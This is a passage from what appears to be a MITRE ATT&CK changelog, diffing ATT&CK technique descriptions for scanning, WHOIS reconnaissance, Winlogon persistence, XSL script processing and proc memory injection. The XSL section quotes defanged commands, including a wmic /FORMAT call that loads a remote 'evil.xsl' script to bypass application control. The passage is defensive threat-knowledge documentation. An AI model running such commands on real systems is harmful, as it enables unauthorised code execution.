| > | (ex: [Exploit Public-Facing Application](https://attack.mit | > | pplication](https://attack.mitre.org/techniques/T1190)). | ||
| > | re.org/techniques/T1190)). | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 03:58:06.761000+00:00 | 2021-04-15 03:20:09.446000+00:00 |
| description | Before compromising a victim, adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use. These scans may also include more broad attempts to [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592) that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts.(Citation: OWASP Vuln Scanning) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)). | Adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use. These scans may also include more broad attempts to [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592) that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts.(Citation: OWASP Vuln Scanning) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)). |
| x_mitre_data_sources[0] | Packet capture | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Network device logs | Network Traffic: Network Traffic Content |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may search public | t | 1 | Adversaries may search public WHOIS data for information abo |
| > | WHOIS data for information about victims that can be used du | > | ut victims that can be used during targeting. WHOIS data is | ||
| > | ring targeting. WHOIS data is stored by regional Internet re | > | stored by regional Internet registries (RIR) responsible for | ||
| > | gistries (RIR) responsible for allocating and assigning Inte | > | allocating and assigning Internet resources such as domain | ||
| > | rnet resources such as domain names. Anyone can query WHOIS | > | names. Anyone can query WHOIS servers for information about | ||
| > | servers for information about a registered domain, such as a | > | a registered domain, such as assigned IP blocks, contact inf | ||
| > | ssigned IP blocks, contact information, and DNS nameservers. | > | ormation, and DNS nameservers.(Citation: WHOIS) Adversaries | ||
| > | (Citation: WHOIS) Adversaries may search WHOIS data to gath | > | may search WHOIS data to gather actionable information. Thr | ||
| > | er actionable information. Threat actors can use online reso | > | eat actors can use online resources or command-line utilitie | ||
| > | urces or command-line utilities to pillage through WHOIS dat | > | s to pillage through WHOIS data for information about potent | ||
| > | a for information about potential victims. Information from | > | ial victims. Information from these sources may reveal oppor | ||
| > | these sources may reveal opportunities for other forms of re | > | tunities for other forms of reconnaissance (ex: [Active Scan | ||
| > | connaissance (ex: [Active Scanning](https://attack.mitre.org | > | ning](https://attack.mitre.org/techniques/T1595) or [Phishin | ||
| > | /techniques/T1595) or [Phishing for Information](https://att | > | g for Information](https://attack.mitre.org/techniques/T1598 | ||
| > | ack.mitre.org/techniques/T1598)), establishing operational r | > | )), establishing operational resources (ex: [Acquire Infrast | ||
| > | esources (ex: [Acquire Infrastructure](https://attack.mitre. | > | ructure](https://attack.mitre.org/techniques/T1583) or [Comp | ||
| > | org/techniques/T1583) or [Compromise Infrastructure](https:/ | > | romise Infrastructure](https://attack.mitre.org/techniques/T | ||
| > | /attack.mitre.org/techniques/T1584)), and/or initial access | > | 1584)), and/or initial access (ex: [External Remote Services | ||
| > | (ex: [External Remote Services](https://attack.mitre.org/tec | > | ](https://attack.mitre.org/techniques/T1133) or [Trusted Rel | ||
| > | hniques/T1133) or [Trusted Relationship](https://attack.mitr | > | ationship](https://attack.mitre.org/techniques/T1199)). | ||
| > | e.org/techniques/T1199)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:20:43.941000+00:00 | 2021-04-15 03:50:44.113000+00:00 |
| description | Before compromising a victim, adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS) Adversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). | Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS) Adversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse features of Winlogon to execute DLLs a | t | 1 | Adversaries may abuse features of Winlogon to execute DLLs a |
| > | nd/or executables when a user logs in. Winlogon.exe is a Win | > | nd/or executables when a user logs in. Winlogon.exe is a Win | ||
| > | dows component responsible for actions at logon/logoff as we | > | dows component responsible for actions at logon/logoff as we | ||
| > | ll as the secure attention sequence (SAS) triggered by Ctrl- | > | ll as the secure attention sequence (SAS) triggered by Ctrl- | ||
| > | Alt-Delete. Registry entries in <code>HKLM\Software[\\Wow643 | > | Alt-Delete. Registry entries in <code>HKLM\Software[\\Wow643 | ||
| > | 2Node\\]\Microsoft\Windows NT\CurrentVersion\Winlogon\</code | > | 2Node\\]\Microsoft\Windows NT\CurrentVersion\Winlogon\</code | ||
| > | > and <code>HKCU\Software\Microsoft\Windows NT\CurrentVersio | > | > and <code>HKCU\Software\Microsoft\Windows NT\CurrentVersio | ||
| > | n\Winlogon\</code> are used to manage additional helper prog | > | n\Winlogon\</code> are used to manage additional helper prog | ||
| > | rams and functionalities that support Winlogon. (Citation: C | > | rams and functionalities that support Winlogon.(Citation: Cy | ||
| > | ylance Reg Persistence Sept 2013) Malicious modifications | > | lance Reg Persistence Sept 2013) Malicious modifications t | ||
| > | to these Registry keys may cause Winlogon to load and execut | > | o these Registry keys may cause Winlogon to load and execute | ||
| > | e malicious DLLs and/or executables. Specifically, the follo | > | malicious DLLs and/or executables. Specifically, the follow | ||
| > | wing subkeys have been known to be possibly vulnerable to ab | > | ing subkeys have been known to be possibly vulnerable to abu | ||
| > | use: (Citation: Cylance Reg Persistence Sept 2013) * Winlog | > | se: (Citation: Cylance Reg Persistence Sept 2013) * Winlogo | ||
| > | on\Notify - points to notification package DLLs that handle | > | n\Notify - points to notification package DLLs that handle W | ||
| > | Winlogon events * Winlogon\Userinit - points to userinit.exe | > | inlogon events * Winlogon\Userinit - points to userinit.exe, | ||
| > | , the user initialization program executed when a user logs | > | the user initialization program executed when a user logs o | ||
| > | on * Winlogon\Shell - points to explorer.exe, the system she | > | n * Winlogon\Shell - points to explorer.exe, the system shel | ||
| > | ll executed when a user logs on Adversaries may take advant | > | l executed when a user logs on Adversaries may take advanta | ||
| > | age of these features to repeatedly execute malicious code a | > | ge of these features to repeatedly execute malicious code an | ||
| > | nd establish persistence. | > | d establish persistence. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018. | |
| external_references | CAPEC-579 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | CAPEC-579 | |
| external_references | Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-04-21 16:00:41.277000+00:00 | 2022-04-20 16:32:14.691000+00:00 |
| description | Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\Software[\\Wow6432Node\\]\Microsoft\Windows NT\CurrentVersion\Winlogon\ and HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013)
Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)
* Winlogon\Notify - points to notification package DLLs that handle Winlogon events
* Winlogon\Userinit - points to userinit.exe, the user initialization program executed when a user logs on
* Winlogon\Shell - points to explorer.exe, the system shell executed when a user logs on
Adversaries may take advantage of these features to repeatedly execute malicious code and establish persistence. | Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\Software[\\Wow6432Node\\]\Microsoft\Windows NT\CurrentVersion\Winlogon\ and HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013)
Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)
* Winlogon\Notify - points to notification package DLLs that handle Winlogon events
* Winlogon\Userinit - points to userinit.exe, the user initialization program executed when a user logs on
* Winlogon\Shell - points to explorer.exe, the system shell executed when a user logs on
Adversaries may take advantage of these features to repeatedly execute malicious code and establish persistence. |
| external_references[1]['source_name'] | capec | Cylance Reg Persistence Sept 2013 |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/579.html | https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order |
| external_references[2]['source_name'] | Cylance Reg Persistence Sept 2013 | TechNet Autoruns |
| external_references[2]['description'] | Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018. | Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. |
| external_references[2]['url'] | https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order | https://technet.microsoft.com/en-us/sysinternals/bb963902 |
| external_references[3]['source_name'] | TechNet Autoruns | capec |
| external_references[3]['url'] | https://technet.microsoft.com/en-us/sysinternals/bb963902 | https://capec.mitre.org/data/definitions/579.html |
| x_mitre_data_sources[0] | Windows Registry | Command: Command Execution |
| x_mitre_data_sources[1] | File monitoring | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[2] | Process monitoring | Module: Module Load |
Current version: 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may bypass application control and obscure execu | t | 1 | Adversaries may bypass application control and obscure execu |
| > | tion of code by embedding scripts inside XSL files. Extensib | > | tion of code by embedding scripts inside XSL files. Extensib | ||
| > | le Stylesheet Language (XSL) files are commonly used to desc | > | le Stylesheet Language (XSL) files are commonly used to desc | ||
| > | ribe the processing and rendering of data within XML files. | > | ribe the processing and rendering of data within XML files. | ||
| > | To support complex operations, the XSL standard includes sup | > | To support complex operations, the XSL standard includes sup | ||
| > | port for embedded scripting in various languages. (Citation: | > | port for embedded scripting in various languages. (Citation: | ||
| > | Microsoft XSLT Script Mar 2017) Adversaries may abuse this | > | Microsoft XSLT Script Mar 2017) Adversaries may abuse this | ||
| > | functionality to execute arbitrary files while potentially | > | functionality to execute arbitrary files while potentially | ||
| > | bypassing application control. Similar to [Trusted Developer | > | bypassing application control. Similar to [Trusted Developer | ||
| > | Utilities Proxy Execution](https://attack.mitre.org/techniq | > | Utilities Proxy Execution](https://attack.mitre.org/techniq | ||
| > | ues/T1127), the Microsoft common line transformation utility | > | ues/T1127), the Microsoft common line transformation utility | ||
| > | binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be i | > | binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be i | ||
| > | nstalled and used to execute malicious JavaScript embedded w | > | nstalled and used to execute malicious JavaScript embedded w | ||
| > | ithin local or remote (URL referenced) XSL files. (Citation: | > | ithin local or remote (URL referenced) XSL files. (Citation: | ||
| > | Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is | > | Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is | ||
| > | not installed by default, an adversary will likely need to | > | not installed by default, an adversary will likely need to | ||
| > | package it with dropped files. (Citation: Reaqta MSXSL Spear | > | package it with dropped files. (Citation: Reaqta MSXSL Spear | ||
| > | phishing MAR 2018) Msxsl.exe takes two main arguments, an XM | > | phishing MAR 2018) Msxsl.exe takes two main arguments, an XM | ||
| > | L source file and an XSL stylesheet. Since the XSL file is v | > | L source file and an XSL stylesheet. Since the XSL file is v | ||
| > | alid XML, the adversary may call the same XSL file twice. Wh | > | alid XML, the adversary may call the same XSL file twice. Wh | ||
| > | en using msxsl.exe adversaries may also give the XML/XSL fil | > | en using msxsl.exe adversaries may also give the XML/XSL fil | ||
| > | es an arbitrary file extension.(Citation: XSL Bypass Mar 201 | > | es an arbitrary file extension.(Citation: XSL Bypass Mar 201 | ||
| > | 9) Command-line examples:(Citation: Penetration Testing Lab | > | 9) Command-line examples:(Citation: Penetration Testing Lab | ||
| > | MSXSL July 2017)(Citation: XSL Bypass Mar 2019) * <code>ms | > | MSXSL July 2017)(Citation: XSL Bypass Mar 2019) * <code>ms | ||
| > | xsl.exe customers[.]xml script[.]xsl</code> * <code>msxsl.ex | > | xsl.exe customers[.]xml script[.]xsl</code> * <code>msxsl.ex | ||
| > | e script[.]xsl script[.]xsl</code> * <code>msxsl.exe script[ | > | e script[.]xsl script[.]xsl</code> * <code>msxsl.exe script[ | ||
| > | .]jpeg script[.]jpeg</code> Another variation of this techn | > | .]jpeg script[.]jpeg</code> Another variation of this techn | ||
| > | ique, dubbed “Squiblytwo”, involves using [Windows Managemen | > | ique, dubbed “Squiblytwo”, involves using [Windows Managemen | ||
| > | t Instrumentation](https://attack.mitre.org/techniques/T1047 | > | t Instrumentation](https://attack.mitre.org/techniques/T1047 | ||
| > | ) to invoke JScript or VBScript within an XSL file.(Citation | > | ) to invoke JScript or VBScript within an XSL file.(Citation | ||
| > | : LOLBAS Wmic) This technique can also execute local/remote | > | : LOLBAS Wmic) This technique can also execute local/remote | ||
| > | scripts and, similar to its [Regsvr32](https://attack.mitre. | > | scripts and, similar to its [Regsvr32](https://attack.mitre. | ||
| > | org/techniques/T1117)/ "Squiblydoo" counterpart, leverages a | > | org/techniques/T1218/010)/ "Squiblydoo" counterpart, leverag | ||
| > | trusted, built-in Windows tool. Adversaries may abuse any a | > | es a trusted, built-in Windows tool. Adversaries may abuse a | ||
| > | lias in [Windows Management Instrumentation](https://attack. | > | ny alias in [Windows Management Instrumentation](https://att | ||
| > | mitre.org/techniques/T1047) provided they utilize the /FORMA | > | ack.mitre.org/techniques/T1047) provided they utilize the /F | ||
| > | T switch.(Citation: XSL Bypass Mar 2019) Command-line examp | > | ORMAT switch.(Citation: XSL Bypass Mar 2019) Command-line e | ||
| > | les:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic) | > | xamples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmi | ||
| > | * Local File: <code>wmic process list /FORMAT:evil[.]xsl</co | > | c) * Local File: <code>wmic process list /FORMAT:evil[.]xsl | ||
| > | de> * Remote File: <code>wmic os get /FORMAT:”https[:]//exam | > | </code> * Remote File: <code>wmic os get /FORMAT:”https[:]// | ||
| > | ple[.]com/evil[.]xsl”</code> | > | example[.]com/evil[.]xsl”</code> | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:45:46.479000+00:00 | 2022-05-05 05:04:14.238000+00:00 |
| description | Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)
Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)
Command-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)
* msxsl.exe customers[.]xml script[.]xsl
* msxsl.exe script[.]xsl script[.]xsl
* msxsl.exe script[.]jpeg script[.]jpeg
Another variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1117)/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)
Command-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)
* Local File: wmic process list /FORMAT:evil[.]xsl
* Remote File: wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl” | Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)
Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)
Command-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)
* msxsl.exe customers[.]xml script[.]xsl
* msxsl.exe script[.]xsl script[.]xsl
* msxsl.exe script[.]jpeg script[.]jpeg
Another variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)
Command-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)
* Local File: wmic process list /FORMAT:evil[.]xsl
* Remote File: wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl” |
| external_references[1]['source_name'] | Microsoft XSLT Script Mar 2017 | Reaqta MSXSL Spearphishing MAR 2018 |
| external_references[1]['description'] | Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting Using | Admin. (2018, March 2). Spear-phishing campaign leveraging on MSXSL. Retrieved July 3, 2018. |
| external_references[1]['url'] | https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script | https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/ |
| external_references[2]['source_name'] | Microsoft msxsl.exe | Twitter SquiblyTwo Detection APR 2018 |
| external_references[2]['description'] | Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe). Retrieved July 3, 2018. | Desimone, J. (2018, April 18). Status Update. Retrieved July 3, 2018. |
| external_references[2]['url'] | https://www.microsoft.com/download/details.aspx?id=21714 | https://twitter.com/dez_/status/986614411711442944 |
| external_references[3]['source_name'] | Penetration Testing Lab MSXSL July 2017 | LOLBAS Wmic |
| external_references[3]['description'] | netbiosX. (2017, July 6). AppLocker Bypass – MSXSL. Retrieved July 3, 2018. | LOLBAS. (n.d.). Wmic.exe. Retrieved July 31, 2019. |
| external_references[3]['url'] | https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/ | https://lolbas-project.github.io/lolbas/Binaries/Wmic/ |
| external_references[4]['source_name'] | Reaqta MSXSL Spearphishing MAR 2018 | Microsoft msxsl.exe |
| external_references[4]['description'] | Admin. (2018, March 2). Spear-phishing campaign leveraging on MSXSL. Retrieved July 3, 2018. | Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe). Retrieved July 3, 2018. |
| external_references[4]['url'] | https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/ | https://www.microsoft.com/download/details.aspx?id=21714 |
| external_references[5]['source_name'] | XSL Bypass Mar 2019 | Penetration Testing Lab MSXSL July 2017 |
| external_references[5]['description'] | Singh, A. (2019, March 14). MSXSL.EXE and WMIC.EXE — A Way to Proxy Code Execution. Retrieved August 2, 2019. | netbiosX. (2017, July 6). AppLocker Bypass – MSXSL. Retrieved July 3, 2018. |
| external_references[5]['url'] | https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75 | https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/ |
| external_references[6]['source_name'] | LOLBAS Wmic | XSL Bypass Mar 2019 |
| external_references[6]['description'] | LOLBAS. (n.d.). Wmic.exe. Retrieved July 31, 2019. | Singh, A. (2019, March 14). MSXSL.EXE and WMIC.EXE — A Way to Proxy Code Execution. Retrieved August 2, 2019. |
| external_references[6]['url'] | https://lolbas-project.github.io/lolbas/Binaries/Wmic/ | https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75 |
| external_references[7]['source_name'] | Twitter SquiblyTwo Detection APR 2018 | Microsoft XSLT Script Mar 2017 |
| external_references[7]['description'] | Desimone, J. (2018, April 18). Status Update. Retrieved July 3, 2018. | Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting Using |
| external_references[7]['url'] | https://twitter.com/dez_/status/986614411711442944 | https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script |
| x_mitre_data_sources[0] | Process monitoring | Module: Module Load |
| x_mitre_data_sources[1] | Process command-line parameters | Process: Process Creation |
| x_mitre_defense_bypassed[1] | Application control | Digital Certificate Validation |
| x_mitre_defense_bypassed[2] | Digital Certificate Validation | Application Control |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process use of network | |
| x_mitre_data_sources | DLL monitoring |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject malicious code into processes via the | t | 1 | Adversaries may inject malicious code into processes via the |
| > | /proc filesystem in order to evade process-based defenses a | > | /proc filesystem in order to evade process-based defenses a | ||
| > | s well as possibly elevate privileges. Proc memory injection | > | s well as possibly elevate privileges. Proc memory injection | ||
| > | is a method of executing arbitrary code in the address spac | > | is a method of executing arbitrary code in the address spac | ||
| > | e of a separate live process. Proc memory injection involv | > | e of a separate live process. Proc memory injection involv | ||
| > | es enumerating the memory of a process via the /proc filesys | > | es enumerating the memory of a process via the /proc filesys | ||
| > | tem (<code>/proc/[pid]</code>) then crafting a return-orient | > | tem (<code>/proc/[pid]</code>) then crafting a return-orient | ||
| > | ed programming (ROP) payload with available gadgets/instruct | > | ed programming (ROP) payload with available gadgets/instruct | ||
| > | ions. Each running process has its own directory, which incl | > | ions. Each running process has its own directory, which incl | ||
| > | udes memory mappings. Proc memory injection is commonly perf | > | udes memory mappings. Proc memory injection is commonly perf | ||
| > | ormed by overwriting the target processes’ stack using memor | > | ormed by overwriting the target processes’ stack using memor | ||
| > | y mappings provided by the /proc filesystem. This informatio | > | y mappings provided by the /proc filesystem. This informatio | ||
| > | n can be used to enumerate offsets (including the stack) and | > | n can be used to enumerate offsets (including the stack) and | ||
| > | gadgets (or instructions within the program that can be use | > | gadgets (or instructions within the program that can be use | ||
| > | d to build a malicious payload) otherwise hidden by process | > | d to build a malicious payload) otherwise hidden by process | ||
| > | memory protections such as address space layout randomizatio | > | memory protections such as address space layout randomizatio | ||
| > | n (ASLR). Once enumerated, the target processes’ memory map | > | n (ASLR). Once enumerated, the target processes’ memory map | ||
| > | within <code>/proc/[pid]/maps</code> can be overwritten usin | > | within <code>/proc/[pid]/maps</code> can be overwritten usin | ||
| > | g dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injec | > | g dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injec | ||
| > | tion)(Citation: DD Man) Other techniques such as [LD_PRELO | > | tion)(Citation: DD Man) Other techniques such as [Dynamic | ||
| > | AD](https://attack.mitre.org/techniques/T1574/006) may be us | > | Linker Hijacking](https://attack.mitre.org/techniques/T1574/ | ||
| > | ed to populate a target process with more available gadgets. | > | 006) may be used to populate a target process with more avai | ||
| > | Similar to [Process Hollowing](https://attack.mitre.org/tec | > | lable gadgets. Similar to [Process Hollowing](https://attack | ||
| > | hniques/T1055/012), proc memory injection may target child p | > | .mitre.org/techniques/T1055/012), proc memory injection may | ||
| > | rocesses (such as a backgrounded copy of sleep).(Citation: G | > | target child processes (such as a backgrounded copy of sleep | ||
| > | DS Linux Injection) Running code in the context of another | > | ).(Citation: GDS Linux Injection) Running code in the cont | ||
| > | process may allow access to the process's memory, system/ne | > | ext of another process may allow access to the process's mem | ||
| > | twork resources, and possibly elevated privileges. Execution | > | ory, system/network resources, and possibly elevated privile | ||
| > | via proc memory injection may also evade detection from sec | > | ges. Execution via proc memory injection may also evade dete | ||
| > | urity products since the execution is masked under a legitim | > | ction from security products since the execution is masked u | ||
| > | ate process. | > | nder a legitimate process. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| description | Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process.
